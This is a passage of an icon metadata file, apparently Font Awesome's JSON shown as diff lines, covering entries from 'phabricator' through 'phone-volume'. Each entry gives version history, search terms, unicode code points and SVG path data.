32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "phabricator": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3db", + "label": "Phabricator", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861012, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z" + } + }, + "free": [ + "brands" + ] + }, + "phoenix-framework": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3dc", + "label": "Phoenix Framework", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861012, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z" + } + }, + "free": [ + "brands" + ] + }, + "phoenix-squadron": { + "changes": [ + "5.0.12", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f511", + "label": "Phoenix Squadron", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775907, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z" + } + }, + "free": [ + "brands" + ] + }, + "phone": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "call", + "earphone", + "number", + "support", + "telephone", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f095", + "label": "Phone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635634, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z" + } + }, + "free": [ + "solid" + ] + }, + "phone-alt": { + "changes": [ + "5.9.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "call", + "earphone", + "number", + "support", + "telephone", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f879", + "label": "Alternate Phone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635632, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z" + } + }, + "free": [ + "solid" + ] + }, + "phone-slash": { + "changes": [ + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "call", + "cancel", + "earphone", + "mute", + "number", + "support", + "telephone", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3dd", + "label": "Phone Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635633, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z" + } + }, + "free": [ + "solid" + ] + }, + "phone-square": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "call", + "earphone", + "number", + "support", + "telephone", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f098", + "label": "Phone Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635634, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z" + } + }, + "free": [ + "solid" + ] + }, + "phone-square-alt": { + "changes": [ + "5.9.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "call", + "earphone", + "number", + "support", + "telephone", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f87b", + "label": "Alternate Phone Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635633, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z" + } + }, + "free": [ + "solid" + ] + }, + "phone-volume": { + "changes": [ + "4.6", + "5.0.0", + "5.0.3", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "call", + "earphone", + "number", + "sound", + "support", + "telephone", + "voice", + "volume-control-phone" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a0", + "label": "Phone Volume", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635634, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 